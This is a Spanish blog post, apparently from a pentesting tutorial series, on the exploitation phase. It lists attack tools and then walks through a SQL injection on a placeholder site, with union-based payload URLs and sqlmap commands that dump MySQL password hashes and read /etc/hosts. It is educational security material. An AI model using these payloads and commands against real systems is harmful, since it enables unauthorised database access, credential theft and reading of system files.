Tras
identificar y priorizar las vulnerabilidades encontradas, es el
momento de pasar a la fase de explotación.
Durante esta fase trataremos de explotar las vulnerabilidades
detectadas, confirmando si son reales y la información que puede
obtenerse a través de ellas.
Esta
fase se desarrollará a partir del mapa de vulnerabilidades obtenido
en la fase de evaluación, donde a raíz del mismo, fijaremos nuestras
prioridades de explotación.
A
continuación trataremos de explotar una de las vulnerabilidades
detectadas durante nuestra fase de evaluación y comprobaremos el compromiso del sistema.
Enfoque de la explotación
Seguramente,
la primera y segunda fase del proceso de pentesting, nos dará la
respuesta, pero en general:
- Podemos centrarnos en vulnerabilidades aparentemente fáciles de explotar que nos den acceso al sistema/red del objetivo para a partir de ahí, tratar de llevar a cabo una escalada de privilegios que nos permita sacar mayor partido.
- O bien, podemos centrarnos en elementos críticos del objetivo, donde sabemos que la explotación de una vulnerabilidad sobre ese entorno supone una alta recompensa.
Herramientas indispensables de explotación
Al
igual que en la fase de evaluación, es habitual el uso de frameworks
especializados, kali y metasploit, son en mi opinión de los mejores.
En
cualquier caso, en función del tipo de vulnerabilidad a explotar,
podremos utilizar adicionalmente otras herramientas, por citar algunas de las importantes:
- Búsquedas de exploits en Internet:
- Desarrollo propio de exploits o modicar existentes, necesitaréis herramientas como ollydbg. Una forma de desarrollar exploits consiste en estudiar el código vulnerable y el parche que lo corrige, para a través de sus diferencias obtener un exploit.
- BeeF: Framework para la explotación de ataques XSS.
- SQLMap: Para explotar SQLinjections.
- Medusa, Hydra, ophcrack, john: Para ataques fuerza bruta, es importante tener buenos diccionarios, también en ocasiones puede ser necesario contar con diccionarios de hashes. Podéis echar un vistazo al proyecto http://project-rainbowcrack.com/.
- Aircrack-ng: Ataques contra redes Wifi.
- LOIC: Denegación de servicio.
Explotación
SQLinjection
Centrandos
en el pentesting de nuestro objetivo, durante la fase de evaluación
se identificó una posible vulnerabilidad de tipo SQLInjection en la
siguiente aplicación web:
http://aplicacion1.dominio.com/index.php
Es
el momento de explotarla.
Como os comenté en la fase de evaluación, es muy recomendable utilizar
técnicas manuales de explotación, ya que obtendremos un mayor tanto
por ciento de éxito.
Explotación
Para la explotación no
es necesario utilizar ninguna herramienta, para esta vulnerabilidad concreta lo importante es
tener claros los conceptos de SQL y saber como construir sentencias
SQL embebidas a través de la vulnerabilidad detectada, de forma que nos
devuelva la información que necesitamos.
Iremos
al grano, nuestro objetivo es explotar la
vulnerabilidad para conocer si es real y el compromiso del sistema.
Construimos la siguiente petición web:
http://aplicacion1.dominio.com/index.php?codigo=null%20union%20all%20select%201,@@version,3,4,5/*
El
navegador devuelve la version de la Base de Datos empleada por la
aplicación: MySQL 5.1
Averiguaremos el nombre de la Base de Datos, para ello construimos la siguiente petición web:
http://aplicacion1.dominio.com/index.php?codigo=null%20union%20all%20select%201,database%28%29,3,4,5/*
Me
devuelve el nombre de la base de datos de la aplicación:
Projects
Ahora construimos la siguiente:
http://aplicacion1.dominio.com/index.php?codigo=null%20union%20all%20select%201,user%28%29,3,4,5/*
Me devuelve el usuario: root@localhost.
Este
dato es muy interesante, ya que nos aporta un abánico de
posibilidades en nuestra explotación y futura escalada de
privilegios.
Sentencia
tras sentencia podemos ir obteniendo toda la información que
necesitemos e interactuar con la base de datos.
También, podemos utilizar la herramienta sqlmap y obtener “casi” la misma
información. "Casi", porque habrá acciones que puede ser que tengamos que realizar de forma manual, debido a que sqlmap no soporte ciertas acciones.
./sqlmap.py
-u http://aplicacion1.dominio.com/index.php?codigo=10 --current-user
[13:15:26]
[INFO] fetching current user
[13:15:26]
[INFO] retrieved:
current
user: 'root@localhost'
Contraseñas
de la Base de datos mysql
./sqlmap.py
-u aplicacion1.dominio.com/index.php?codigo=10 -D mysql --tables -T
user --columns -C Password --dump --no-cast
Database:
mysql
Table:
user
[4
entries]
+-------------------------------------------+
|
Password |
+-------------------------------------------+
|
*19B******************************************2D845EA29E |
|
*23B**************************************************A9C16 |
|
*4E6**************************************************2CC86 |
|
*510************************************************D75DAC |
Las
passwords se encuentra encriptadas, utilizaremos un crackeador de
passwords y un buen diccionario de Hashes (rainbowtables).
Dado
el usuario con el que se accede a la BD y
sus privilegios podemos
proceder a leer archivos a través de la función de mysql
Load_File:
Comprobemos si podemos acceder a un archivo del sistema:
./sqlmap.py
-u http://aplicacion1.dominio.com/index.php?codigo=10
--file-read=/etc/hosts –threads=10
Nos
devuelve lo siguiente:
127.0.0.1
localhost
192.168.9.122 andromeda
Al
igual que podemos leer, mysql dispone de funciones para escritura.
Resumiendo,
la explotación ha sido exitosa, tenemos control total sobre la base
de datos de la aplicación y podemos leer cualquier archivo del
sistema, el siguiente paso es la escalada de privilegios, pero esto
lo veremos en el siguiente artículo.
No hay comentarios:
Publicar un comentario